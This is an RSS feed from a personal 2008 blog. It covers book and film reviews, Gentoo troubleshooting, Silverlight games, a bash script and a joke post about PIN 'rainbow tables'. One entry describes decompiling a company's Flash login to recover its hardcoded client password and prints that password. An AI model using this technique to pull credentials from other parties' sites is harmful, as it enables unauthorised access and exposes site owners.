Must review <a href="http://www.jumpstation.co.uk/flog/Sep2008.html#030920080747">cryptonomicon</a> before I read another Neal Stephenson book.
The key thing about cryptonomicon is the way the story is split over between two time lines one from the second world war breaking German codes and the other being the first offspring in modern world trying to create a secure data haven.
Instead of this making the book difficult to read it instead pulls you in deeper and with many plot twists and funny turns and great characters there should be no supprise I have crowned this volume my "Favorite book ever" !!
I was worried the code breaking would become mathematical and overly technical but all technical subjects are handled with the upmost care insuring the reader never loses interest while maintaining the realism, that said "finux" ?
</description>
</item>
<item>
<title>luv cpu</title>
<pubDate>Thu, 30 Oct 2008 19:28:19 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2008.html#301020081928</link>
<description>
&lt;hug&gt;computer&lt;/hug&gt;
</description>
</item>
<item>
<title>when is the cryptonomicon review coming</title>
<pubDate>Wed, 15 Oct 2008 21:26:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2008.html#151020082126</link>
<description>
I might get around to reviewing <a href="http://www.jumpstation.co.uk/flog/Sep2008.html#030920080747">cryptonomicon</a> now I have finished reading two further books, including Snow Crash.
But not tonight I still need sleep. ZZZzzz.... .
</description>
</item>
<item>
<title>silverlight 2 Release to Market FINALLY!</title>
<pubDate>Tue, 14 Oct 2008 20:30:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2008.html#141020082030</link>
<description>
I took time out of my busy schedule to update my <a href="http://www.pay4foss.org/jumpstation/silverlight/">Silverlight projects</a> to the current version released yesterday.
Strangely a number of places are claiming the that this release supports Linux, well it does not and the <a href="http://www.mono-project.com/Moonlight">moonlight</a> project is quite a way off supporting my applications. I wish them luck!
</description>
</item>
<item>
<title>Cryptonomicon words still no review</title>
<pubDate>Thu, 02 Oct 2008 21:26:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2008.html#021020082126</link>
<description>
I did finish <a href="http://www.jumpstation.co.uk/flog/Sep2008.html#030920080747">cryptonomicon</a> a couple of weeks ago but I am still running my <a href="http://www.jumpstation.co.uk/flog/Sep2008.html#050920082243">script</a>.
known:379
had to look up:19
antipodal <a href="http://www.google.com/search?hl=en&amp;q=define%3Aantipodal">google</a>,<a href="http://en.wiktionary.org/wiki/antipodal">wiktionary</a><br />
Birkenstocks <a href="http://www.google.com/search?hl=en&amp;q=define%3ABirkenstocks">google</a>,<a href="http://en.wiktionary.org/wiki/Birkenstocks">wiktionary</a><br />
caroms <a href="http://www.google.com/search?hl=en&amp;q=define%3Acaroms">google</a>,<a href="http://en.wiktionary.org/wiki/caroms">wiktionary</a><br />
Criminy <a href="http://www.google.com/search?hl=en&amp;q=define%3ACriminy">google</a>,<a href="http://en.wiktionary.org/wiki/Criminy">wiktionary</a><br />
deign <a href="http://www.google.com/search?hl=en&amp;q=define%3Adeign">google</a>,<a href="http://en.wiktionary.org/wiki/deign">wiktionary</a><br />
dilettante <a href="http://www.google.com/search?hl=en&amp;q=define%3Adilettante">google</a>,<a href="http://en.wiktionary.org/wiki/dilettante">wiktionary</a><br />
explication <a href="http://www.google.com/search?hl=en&amp;q=define%3Aexplication">google</a>,<a href="http://en.wiktionary.org/wiki/explication">wiktionary</a><br />
HEPARIN <a href="http://www.google.com/search?hl=en&amp;q=define%3AHEPARIN">google</a>,<a href="http://en.wiktionary.org/wiki/HEPARIN">wiktionary</a><br />
lariats <a href="http://www.google.com/search?hl=en&amp;q=define%3Alariats">google</a>,<a href="http://en.wiktionary.org/wiki/lariats">wiktionary</a><br />
levelly <a href="http://www.google.com/search?hl=en&amp;q=define%3Alevelly">google</a>,<a href="http://en.wiktionary.org/wiki/levelly">wiktionary</a><br />
luffs <a href="http://www.google.com/search?hl=en&amp;q=define%3Aluffs">google</a>,<a href="http://en.wiktionary.org/wiki/luffs">wiktionary</a><br />
nacre <a href="http://www.google.com/search?hl=en&amp;q=define%3Anacre">google</a>,<a href="http://en.wiktionary.org/wiki/nacre">wiktionary</a><br />
phalanxes <a href="http://www.google.com/search?hl=en&amp;q=define%3Aphalanxes">google</a>,<a href="http://en.wiktionary.org/wiki/phalanxes">wiktionary</a><br />
reticulated <a href="http://www.google.com/search?hl=en&amp;q=define%3Areticulated">google</a>,<a href="http://en.wiktionary.org/wiki/reticulated">wiktionary</a><br />
rosa <a href="http://www.google.com/search?hl=en&amp;q=define%3Arosa">google</a>,<a href="http://en.wiktionary.org/wiki/rosa">wiktionary</a><br />
Sinkov <a href="http://www.google.com/search?hl=en&amp;q=define%3ASinkov">google</a>,<a href="http://en.wiktionary.org/wiki/Sinkov">wiktionary</a><br />
strop <a href="http://www.google.com/search?hl=en&amp;q=define%3Astrop">google</a>,<a href="http://en.wiktionary.org/wiki/strop">wiktionary</a><br />
Teva <a href="http://www.google.com/search?hl=en&amp;q=define%3ATeva">google</a>,<a href="http://en.wiktionary.org/wiki/Teva">wiktionary</a><br />
viscera <a href="http://www.google.com/search?hl=en&amp;q=define%3Aviscera">google</a>,<a href="http://en.wiktionary.org/wiki/viscera">wiktionary</a><br />
</description>
</item>
<item>
<title>pipes x3</title>
<pubDate>Thu, 02 Oct 2008 21:16:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2008.html#021020082116</link>
<description>
<a href="http://images.google.ie/images?um=1&amp;hl=en&amp;client=firefox-a&amp;channel=s&amp;rls=org.mozilla%3Aen-GB%3Aofficial&amp;q=pipes+windows+screensaver&amp;btnG=Search+Images">windows pipes</a>
<a href="http://images.google.ie/images?client=firefox-a&amp;rls=org.mozilla:en-GB:official&amp;channel=s&amp;hl=en&amp;q=pipes%20linux%20screensaver&amp;um=1&amp;ie=UTF-8&amp;sa=N&amp;tab=wi">linux pipes</a>
<a href="http://www.thisoldhouse.com/toh/photos/0,,1548031_1221761,00.html">real pipes</a>
</description>
</item>
<item>
<title>zzzzzzzzzzzz</title>
<pubDate>Thu, 02 Oct 2008 06:52:03 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2008.html#021020080652</link>
<description>
ZZZZzzzzz....   .       .
</description>
</item>
<item>
<title>Anagram Shark Attack released</title>
<pubDate>Tue, 16 Sep 2008 21:09:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2008.html#160920082109</link>
<description>
<a href="http://www.pay4foss.org/jumpstation/silverlight/AnagramSharkAttack">Anagram Shark Attack</a> my latest silverlight project is completed.
The first project <a href="http://www.pay4foss.org/jumpstation/idoudo/">IDOUDO</a> was a blatant hack, quick, simple but hardly painless.
<a href="http://www.pay4foss.org/jumpstation/mousetrails/">mousetrails</a> was just a Proof of concept.
Where as <a href="http://www.pay4foss.org/jumpstation/twitternice/">twitternice</a> was a much more serious attempt the code is painful. all in one file and hardly any classes.
<a href="http://www.pay4foss.org/jumpstation/AnagramSharkAttack/">Anagram Shark Attack</a> on the other hand has had a lot of love poured into it from the preloader, post loader, graphics and not to mention the rewrite.
When I first thought <a href="http://www.pay4foss.org/jumpstation/AnagramSharkAttack/">Anagram Shark Attack</a> was complete, my testing showed that the tile dragging and orienting worked correctly and the sharks attacking work correctly, unfortunately the two were mutually exclusive. The game state was rooted in the places the tiles 'could' by located, but this fell down when the time for a tile to change from one state to another was interrupted by another process. It was comical, the game would start fine then as more attacks took place tiles would vanish or appear seemingly at random.
The rewrite allowed me to clean this up and set the tiles state to the tile objects themselves allowing anything to happen at anytime regardless of what had or was happening at the time.
There are a few screen shots on the page so my Linux friends get an idea whats going on.
</description>
</item>
<item>
<title>wee wee potty</title>
<pubDate>Mon, 15 Sep 2008 21:29:28 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2008.html#150920082129</link>
<description>
Their first steps are great and starting to talk is nice but when dealing with toddlers the one ability you always wished they would learn is for them to be able to change their own nappy.

So I was happy when on Sunday morning I found Alex with a new nappy on and neatly placed soiled one the wrong side of his stair gate.

This event was taken down a peg when on closer inspection the newly applied nappy was on backwards, but it was still an impressive feat.

For starters the soiled nappy wearer has to note the soiled status and decide a course of action, which in this case was to locate the clean nappy draw, retrieve a nappy, remove the spent nappy, dispose of it and to apply a new nappy. None of these instructions appear in a toddlers usual lexicon.

Unfortunately there is a blackened lining to every silvery cloud and whilst sleeping soundly on the sofa later that morning I noted the verbal communication "wee wee potty". Had I know what was about to happen I would not have lain peacefully any longer, having leapt to my feet and vacated the sofa very promptly.

For mere seconds after that utterance a full potty was emptied over my head, that will teach me to sleep when utterly exhausted from the previous day, days, weeks, months etc.

</description>
</item>
<item>
<title>blood in the water</title>
<pubDate>Thu, 11 Sep 2008 06:42:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2008.html#110920080642</link>
<description>
There is blood in the water, <a href="http://www.jumpstation.co.uk/flog/Jul2008.html#170720082220">Beware !!</a>
</description>
</item>
<item>
<title>tunnel to the other side</title>
<pubDate>Thu, 11 Sep 2008 06:39:57 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2008.html#110920080639</link>
<description>
This is mans single most achievement, behold
http://www.freemaptools.com/tunnel-to-other-side-of-the-earth.htm
I think this solidly proves we were lied too as kids !!
</description>
</item>
<item>
<title>666 back scatter spam</title>
<pubDate>Fri, 05 Sep 2008 23:06:02 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2008.html#050920082306</link>
<description>
spam assassin normally does a good job and I bet a couple of dodgy emails a day unfiltered but blacklisted so it was a shock to find 666 blacklisted but not spam listed emails today all to *RANDOMNUMBER*@somescrapable email address.
Started getting ISP email noting my mail box was full, thats with KMail downloading ALL mail from the server once an hour. So in those 60 mins I had got enough back scatter spam to trigger the warning system at the ISP.
</description>
</item>
<item>
<title>cryptonomicon thingambob word marker</title>
<pubDate>Fri, 05 Sep 2008 22:43:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2008.html#050920082243</link>
<description>
So I created my cryptonomicon <a href="http://www.jumpstation.co.uk/flog/Sep2008.html#030920080747">thingambob</a> and it is good!
<code>#!/bin/bash
# gets a word and allows the user to confirm there acceptance that it should be marked.
# added two type of marks and a context viewer
# rob 2008
# cat $BOOK | sed -e 's/\([^a-zA-z0-9]\)/\n/gi' | grep -v '[0-9]' | sort -fu &gt; $FILENAME

FILENAME=cryptowords.sorted
BOOK=stephenson-neal-cryptonomicon.txt

# yes, I do notice that the paramater is never actually used, thankyou
function offerWord() {
	echo "do you understand   $WORD  ?"
	echo -n "[y]es / [n]o / [i] looked it up / [c]ontext::"
	read ANS
	if [ $ANS = "y" ]; then 
		echo good, try again
		cat $FILENAME | sed -e "s/\(^$WORD$\)/#\1/" &gt; $FILENAME.x ; mv $FILENAME.x $FILENAME
	elif [ $ANS = "i" ]; then 
		echo good for you
		cat $FILENAME | sed -e "s/\(^$WORD$\)/@\1/" &gt; $FILENAME.x ; mv $FILENAME.x $FILENAME
	elif [ $ANS = "c" ]; then 
		cat $BOOK | grep $WORD | sed -e "s/\b\($WORD\)\b/---[[\1]]---/"
		offerWord $WORD
		exit
	fi
}

WORD=`cat $FILENAME | sort -R | grep -v '#' | grep -v '@' | head -n 1`
offerWord $WORD</code>
stats so far are 210 words known, 13 words I had to look up, 22201 to go :)
Oh, and I am only half way through the book ...
</description>
</item>
<item>
<title>Cryptonomicon alien words</title>
<pubDate>Wed, 03 Sep 2008 07:47:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2008.html#030920080747</link>
<description>
I have been reading Neal Stephenson's Cryptonomicon (review when I finish it) and found some of the wording used completely alien.
Soooo... I download a plain text version of the book and it has 496945 words in it.
Removing duplicates, words with numbers and ignoring case got me to 22424 words.
A fair number are German so I might try and filter those.
Although I can not find any examples right now, a quick random selection gives you some idea how varied the book is
<code>daring
sumo
stodgy
chamois
misty
demonstrates
vertex
stretcher
orbits
mountainous</code>
Ah! found one, <a href="http://www.merriam-webster.com/dictionary/animadverted">animadverted</a>
now to make some kind of thingambob that I can pull random words and mark them once I know what they mean ...
</description>
</item>
<item>
<title>PIN number rainbow tables</title>
<pubDate>Wed, 03 Sep 2008 07:44:25 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2008.html#030920080744</link>
<description>
While standing in the bank queue on Monday (32mins) I realised that not only could I and everyone see each customers PIN number as it was entered at the cashiers desk but that there was a fundamental cryptographic flaw in the PIN number system.

To prove this flaw I concocted a complex algorithm that could compute ALL the possible PIN numbers is a given key space.

So after many hours of processing (if the algorithm had been run on a very VERY slow computer) I had an entire credit card PIN number rainbow table !!

Use wisely, jumpstation.co.uk makes no warranty to the contents of this file and is made available for research purposes only.

<a href="/misc/pin.numbers">pin.numbers</a>

FAQ::
what is the most common PIN number?
 1234

what is the most uncommon PIN number?
 0003

how can I link a credit card number to a PIN number?
 trial and error

how can I crack a credit card using the rainbow table?
 simply try each entry in the table until a match is found

I tried the above method and card keeps being &quot;retained by bank&quot;
 only try one PIN number per week, you should exhaust the key space in just over 19 years.

Wait a minute, how did you work out the most common and least common PIN numbers ?
 that information is currently not being made available to the public
</description>
</item>
<item>
<title>gBom google bom bookmarklet</title>
<pubDate>Sun, 17 Aug 2008 20:53:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2008.html#170820082053</link>
<description>
<a href="javascript:(function(){	var dl,dll,i; function linkIsSafe(r) {	u=r.href;	 if (u.substr(0,7)=='mailto:') return false; if (u.substr(0,11)=='javascript:') return false; if (r.getAttribute('class')=='l') return true; return(false); }  dl = document.links; dll = dl.length; if (dll&lt;1) alert ('no links'); else {	 for (i = 0; i &lt; dll; ++i) if (linkIsSafe(dl[i])) window.open(dl[i].href); } })();">gBom</a>
I here by present the google bom, drag and drop to your firefox toolbar and you will have button marked gBom (cos I wanted the button width to be small, you can right click and rename it).
Surf over to google type in a search and at the results page click gBom, each result will then open in its own tab.
Very useful for technical research where you know you will have to manually open each result. The negative is the very small bandwidth used to open pages that you may not want.
</description>
</item>
<item>
<title>prepare for jj</title>
<pubDate>Sun, 17 Aug 2008 20:32:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2008.html#170820082032</link>
<description>
Prepare for the coming (of the web site) of JJ Davis !!
and note that he and his brother are currently absorbing all of my time (and sleep).
</description>
</item>
<item>
<title>epilog and case of the missing noise</title>
<pubDate>Sun, 27 Jul 2008 23:35:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#270720082335</link>
<description>
After three more kernel builds this time failing because my /boot drive was full, initrd was 19mb per kernel. and because after giving the out of space error it then list a couple pages of rather obscure kernel .config relate errors.
Followed the gentoo guide http://www.gentoo.org/doc/en/alsa-guide.xml#doc_chap2_pre3 rebooted, crossed fingers, held breath and ...
played <a href="http://www.bigbuckbunny.org/">Big Buck Bunny</a> in mplayer in high resolution with SOUND !
Woohoo (Again).
</description>
</item>
<item>
<title>GRUB and the fight for the kernel</title>
<pubDate>Sat, 26 Jul 2008 23:05:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#260720082305</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/Jul2008.html#250720082108">Yesterdays episode</a> was actually cut to avoid going on too long, other things went very wrong and took ages to fix.
Today we are going to focus on the kernel, the magic part of Linux which real is Linux and not just open source software that runs on Linux.
The kernel sources for Gentoo AMD64 get updated about six times a year but I update about twice a year and is the only time I reboot.
This has caught me out in the past, running a machine that is running an old kernel but all the sources are bang up to date.
I hate rebuilding the kernel, I had many problems when I used my old machine with Debian and even with the handy genkernel its a pain, mainly because I forget everything I learned from doing it last time.
But I had notes from the last build so I knew not to include certain network drivers and Alsa sound support and the make sure I added the right network and SATA drivers.
Set all this going and 30 minutes later I rebooted. Hmmmm, all I see is the GRUB command interface no menu. six or seven tries later and I am GRUB expert and the menu appears, except it does not, all I get is random characters of interesting colours.
But I can press return and although the screen is messed up things are scrolling up in a manor indicating a kernel booting !!
But it stops and the patterns look decidedly bad, kernel panic or worse! Reboot into an old kernel by pressing down on the unreadable menu and enter and five rebuilds later I have removed all Frame buffer support and I can see the error.
Before we go any further I want to point out that I retrieve the old kernels .config file and was comparing it with the one I had for the new failing kernel, it had frame buffer so I must have lived with the bad menu thing !
On with the show, the errors were regarding the SATA hard drive, bit of googling later and I had to add some flags to the kernel boot line GRUB<code> /kernel-genkernel-x86_64-2.6.25-gentoo-r6 root=/dev/ram0 init=/linuxrc ramdisk=8192 real_root=/dev/sda4 udev noapic acpi=off irqpoll</code>
Woohoo boots fine, only thing missing is sound, and my notes about removing it from the kernel are invalid as Alsa is no longer supported outside the kernel.
There will be an epilog tomorrow...
</description>
</item>
<item>
<title>python wrestling</title>
<pubDate>Fri, 25 Jul 2008 21:08:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#250720082108</link>
<description>
So a minor issue I can not reinstall Python without installing .. Python, luckily I had my <a href="http://www.jumpstation.co.uk/flog/May2008.html#300520082149">ten year old laptop</a> to connect to the <a href="http://forums.gentoo.org/">Gentoo forums</a>. Where I quickly come across the suggestion to install python from http://python.org 
Downloaded unpacked and did the usual <code>./configure 
make
make install</code> emerge still does not work but clearly notes the executable python file is not found in /usr/bin sooo I create a link from its current location <code>ln -s /usr/local/bin/python /usr/bin/python</code>
Great now emerge runs, so I can install stuff right ? WRONG all the python libraries are messed up and can not be found to do anything else :(
Now I find out that portage has already got a copy of the python package and everything else installed and I should<code>tar jxvf /usr/portage/distfiles/Python.2.4.4.tar.bz2</code> and then install with<code>./configure --with-fpectl --infodir=/usr/share/info/ --mandir=/usr/share/man --prefix=/usr --enable-unicode
make
make install prefix=/usr</code>
Unfortunately for a number of attempts I tried Python version 5 and then could not get python-updater to run and I also tried symlinking libraries all of the place. I ended up with a script file that would delete everything to do with python from my system before I tried again with a slightly different parameter.
The secret source in the end was (After running my clear all script) to unpack install Python.2.4.4 then immediately run <code>emerge python</code>which got me python 5 then run python-updater.
And that s the end of that story, I wish ! python-updater goes through all your critical packages and rebuilds them to use the new version of python and takes a good 40 minutes.
At package 20 (something about gnome menus) it complained about not have a version file in the kernel sources directory.
now what ?
the concluding part will be posted tomorrow.
</description>
</item>
<item>
<title>funny two cows is</title>
<pubDate>Thu, 24 Jul 2008 21:02:08 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#240720082102</link>
<description>
Now this is funny http://feeds.preshweb.co.uk/~r/preshblog/~3/319012922/
</description>
</item>
<item>
<title>Once upon a time I uninstalled python</title>
<pubDate>Thu, 24 Jul 2008 20:52:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#240720082052</link>
<description>
once upon a time I got a brand new 64bit machine in a world of operating systems that did not support 64bit, no, not even Debian and Windows would not support it for years to come, I not even sure its supported now.
My only option was a hard core Linux distro call Gentoo where each piece of software is compiled from source code directly onto the machine, very geeky.
Because the code was complied directly on the machine it would be build against my 64bit processor, W00T!
No package management system is perfect and I had many a horror story with my earlier Debian system. 
Gentoo's 'portage' package management system can be updated daily and I found that I got one heart stopping problem with it every couple of months much as I had with Debian.
As time went on Gentoo matured and I became more proficient with 'portage', the frequency  of issues became about one a quarter.
This leads me onto last Fridays situation; I had run <code>emerge --sync &amp;&amp; emerge --update --deep world</code> to find one of these 'issues'.
A update could not be installed because another package was blocking it, a common enough problem, usually I just uninstall the blocker and then reinstall the update.
First I looked at what was blocking, 'Python' a scripting language that I had used in Blender, no problem, uninstall Python ...
Finished, install updates ... *BORK!* Turns out emerge uses python.
So how can I install python without being able to install python ?
tune in for tomorrows installment...
</description>
</item>
<item>
<title>The beast with a billion backs DVD</title>
<pubDate>Thu, 17 Jul 2008 22:28:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#170720082228</link>
<description>
I <a href="http://www.jumpstation.co.uk/flog/Jul2008.html#170720082208">Really really really</a> liked the first futurama DVD "Bender's big score" so I rushed out to purchase number two...
<a href="http://en.wikipedia.org/wiki/Talk:Futurama:_The_Beast_with_a_Billion_Backs">The beast with a billion backs</a> takes a bit of a u-turn after the nonstop funny of the first one in fact the laughs are so few I can remember all three of them of the top of my head.
Thats not to say its a bad film, far from it, the writing is top notch and leads directly on from the last scenes of "Bender's big score"
But it is not funny and there are small plot holes and the whole thing feels drawn out.
The DVD has an Easter Egg in the form of "old farmers wikipedia" but I can not find out what to do with it now I have found it... Google has nothing.
However the highlight in the extras is the trailer for the third film which looks like it maybe able to recover the funny factor and then pump it up a notch !
You have to buy it even if just for the next trailer ...
</description>
</item>
<item>
<title>coming soon anagram shark attack</title>
<pubDate>Thu, 17 Jul 2008 22:20:05 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#170720082220</link>
<description>
Prepare for the coming of "Anagram - Shark attack"
</description>
</item>
<item>
<title>The last testament book</title>
<pubDate>Thu, 17 Jul 2008 22:13:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#170720082213</link>
<description>
Latest book I completed (I read a lot during my daily commutes).
<a href="http://www.amazon.co.uk/Last-Testament-Sam-Bourne/dp/0007203330">The last testament</a> by Sam Bourne is fictional look at Israel and the Palestinians when an ancient artifact threatens to destroy everyone beliefs.
I have never been able to get a handle on the whole middle east crisis with who believed what and why that mattered so I found this book very instructional and very well written.
Great characters and lots of mini plot twists makes this a highly entertaining page turner, recommended.
</description>
</item>
<item>
<title>Benders big score DVD</title>
<pubDate>Thu, 17 Jul 2008 22:08:28 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#170720082208</link>
<description>
I do have one more out of date book review to do but first ...
Futurama is one of my favorite TV shows, I have watched ever episode many times on DVD and TV and still watch the odd rerun now and then and always find it brilliant !
So when I learned that the production team would be making four straight to DVD films I was delighted.
First up is <a href="http://www.imdb.com/title/tt0471711/">Bender's Big Score</a> from the moment this starts to the second it ends I was laughing enjoying every 'in' joke and general madness.
I am not going to give the plot away but it makes me laugh to just think about it ! The DVD is also packed with extras including a full length episode of "everyone loves hypno-toad", the Math behind futurama and the usual commentary and bits and pieces.
Beyond highly recommended !
Beware: has trailer for the next DVD ...
</description>
</item>
<item>
<title>The hunt for Atlantis book review</title>
<pubDate>Thu, 17 Jul 2008 22:01:09 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#170720082201</link>
<description>
Finished this one a while ago but it was good fun.
<a href="http://www.andy-mcdermott.com/books.html">"The hunt for Atlantis" by Andy McDermott is an action adventure chasing clues and avoiding bad guys tracing the route of Atlantis and the Atlantean race.
Unfortunately this often feels like a Hollywood screenplay with all the outrageousness and plot holes the industry is famous for, but the fun factor does flood through and it is a page turner.
Get it for a bit of mindless entertainment.
</description>
</item>
<item>
<title>Collapse book review recommended</title>
<pubDate>Thu, 17 Jul 2008 21:55:38 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#170720082155</link>
<description>
Finished this one a while ago but it was very good.
<a href="http://en.wikipedia.org/wiki/Collapse_(book)">"Collapse how societies choose to fail or survive"</a> by Jarded Diamond is all about the effects of various influences on the survival and success of past and current societies.
First off it was not only very interesting but also easy to read, leading from past settlements such as Easter Island and leading up to modern mining and drilling practices.
The author repeatedly goes to great pains to say that he is not a hippy environmentalist but that the facts feed the results that many of the case studies were at least in-part highly affected by the loss of environmental resources. E.g. over fishing and cutting down all the trees (Easter island).
Much of the material reads as short stories and really allows you the reader to become a member of the society in question and understand why they acted in what seem to us with the gift of hindsight such monumentally stupid ways.
Strongly recommended !!
Beware: some terms are used in a manor that implies it has already been explained or that 'everyone' should already know, when in fact they terms are completely explained a few (sometimes more) page further on.
A good example of this is <a href="http://en.wikipedia.org/wiki/Midden">'midden'</a>, did you know what it was already ??
</description>
</item>
<item>
<title>SWF files are not good placed for passwords</title>
<pubDate>Fri, 11 Jul 2008 20:58:05 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#110720082058</link>
<description>
I was surfing to a web site that was missing the content I was looking for, frustrated I checked the source. Along with the google analytics tracking bug that 90% of all pages seem to have was an IFRAME with the src encoded.

e.g. the http:// bit was &amp;#104&amp;#116&amp;#116&amp;#112&amp;#58&amp;#47&amp;#47  

Intrigued I followed the link to a Spanish design company whose entire web site was in flash, with the page on clients showing a flash login box.

Using <a href="http://getfirebug.com/">FireBug</a> I established that when text was entered in the login form no data was sent to the server, that meant the flash verified the password ;)

I tried http://www.swftools.org  but that was geared to extracting objects not code (it also had many tools for creating SWF flash files from other formats) but, this had a link to http://flasm.sf.net/ a SWF disassembler which in turn had a link to http://nowrap.de/flare.html a flash decompiler

Once I had this installed I ran it on the .SWF file and it gave me a .FLR text file in the file was ...

<code>if (login eq '1970')</code>umungst other things, unsurprisingly that was the password to the site :)
</description>
</item>
<item>
<title>published in Linux format sugar overload</title>
<pubDate>Thu, 10 Jul 2008 22:40:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#100720082240</link>
<description>
Last month Linux Format were complaining that LUGs never had a future schedule and so they could not easily do a feature about specific meetings/groups.
They asked that any LUGs that could specify a schedule to do so...
I sent the a few words about things we had done in the past thinking we might get a passing mention.
This is what is published http://www.jumpstation.co.uk/linux/linuxformat108.jpg not on an obscure page in the middle but right at the beginning after the monthly news !!
Linux Format LXF108 August 2008

Of course they printed something slightly different from what I sent. Original follows.

================================================

hi,

The Herdfordshire Lug meets every second Wednesday of each month WITH OUT FAIL.

We always have Wifi and wired internet, beer, fun and random demos from members.

If we ever decide before the day something specific then its noted on the web site http://www.herts.lug.org.uk/

Past events include live jamming with instruments recorded by a 'Jack' system.
A talk from the open street map guys.
VMware and 'screen' live demos.
Linux themed pub quizzes.
An introduction to talking the LPI linux exams.
Blender walk-through creating and 'apple storm' and a follow up showing Blender 
animation.
Random ad-hoc discussions about programming, system administration, current 
events and more.
Hardware hacking.
etc
etc.

everyone is welcome, we often get people who have never actually installed Linux but want to find out more right up to hard-core system administrators who use Linux ever day.

Maybe you could feature mini reports from Lug meets, 200 words or less ?

p.s. Linux format ROCKS !

================================================

it appears I had eaten too much sugar and did not think to proof read it first :(
</description>
</item>
<item>
<title>silverlight 2 beta2 code</title>
<pubDate>Thu, 10 Jul 2008 22:36:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2008.html#100720082236</link>
<description>
Silverlight code is now 2 beta2 compatible, mainly some animation APIs need an additional parameter.
http://www.pay4foss.org/jumpstation/silverlight/
</description>
</item>
<item>
<title>silverlight 2 Beta 2 kills 2 Beta 1</title>
<pubDate>Tue, 17 Jun 2008 19:50:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2008.html#170620081950</link>
<description>
I was going to write about how good silverlight was an how I was having fun using it, but it appears the latest release 2 beta2 breaks 2 Beta 1 code, like mine http://www.pay4foss.org/jumpstation/silverlight/
</description>
</item>
<item>
<title>goodbye dear friends I will miss you you out of date pieces of</title>
<pubDate>Tue, 10 Jun 2008 19:33:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2008.html#100620081933</link>
<description>
I was saddened to lose three friends, having known them for 10-12 years I had forgotten them in recent times. Unfortunately they were now obsolete and although I relished the good old days there was no room (literally) for them in my life.
First casualty was <a href="http://www.amazon.co.uk/VRML-2-0-Sourcebook-Andrea-Ames/dp/0471165077">The VRML Source book</a> - from which I created VRML lego and the first dynamic VRML via JavaScript.
then there was my well worn and trusty (huge) JavaScript book which I had used so much it was falling apart.
Finally the only book that I ever contacted the publishers to congratulate them on such a well designed book <a href="http://images.google.co.uk/imgres?imgurl=http://ecx.images-amazon.com/images/I/51MPDMMXBDL._SL500_AA240_.jpg&amp;imgrefurl=http://www.amazon.com/1001-Java-Programmers-Tips-CD-rom/dp/1884133320&amp;h=240&amp;w=240&amp;sz=18&amp;hl=en&amp;start=1&amp;um=1&amp;tbnid=gjTayq1rOTPNpM:&amp;tbnh=110&amp;tbnw=110&amp;prev=/images%3Fq%3Djava%2B1001%2Bbook%26um%3D1%26hl%3Den%26sa%3DG">1001 Java Programmer's Tips</a>. 
When I was learning Java back in the day I had plenty of the "learn Java" dry books that taught "if" and "switch" statements but I already knew how to code in Java because of my C and JavaScript background. 1001 tips showed me just what I need to know to use each function in a manor that 100's of web sites do today for code snippets.
Goodbye and thanks for all the code :)
</description>
</item>
<item>
<title>WHSmith demands more loyalty</title>
<pubDate>Tue, 10 Jun 2008 19:21:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2008.html#100620081921</link>
<description>
I have had a WHSmith's card for over 5 years and every time I make sure it is swiped every time I am in there but I have never had a statement of the points I have built up what I could do with them.
So I was surprised to find one shop telling me that although the card balance was listed as 0 I had credit of &pound;5, I was in a hurry so ignored this until I had something further to buy ...
So after 5+ years of buying DVDs CDs and all manor of other things from WHSmith I have a grand total of ... &pound;3.83 :(
Well at least I will have more room in my wallet.
</description>
</item>
<item>
<title>silverlight love</title>
<pubDate>Tue, 03 Jun 2008 22:36:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2008.html#030620082236</link>
<description>
So does this mean I like silverlight? well, lets just say I now have the hang of it and I a well aware of it current limitations.
I think silverlight will succeed especially when the mono project produce a tried and tested multi platform plug-in for all browsers.
</description>
</item>
<item>
<title>twitternice and mousetrails silverlight released</title>
<pubDate>Tue, 03 Jun 2008 19:46:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2008.html#030620081946</link>
<description>
After the warm reception my <a href="http://www.pay4foss.org/jumpstation/idoudo/">IDOUDO</a> (a simple simon game with sound [2 beta 1]) got over at <a href="http://silverlight.net/community/gallerydetail.aspx?cat=5">silverlight.net</a> I decided to release my two other silverlight <a href="http://www.pay4foss.org/jumpstation/silverlight/">projects</a> (with source code)
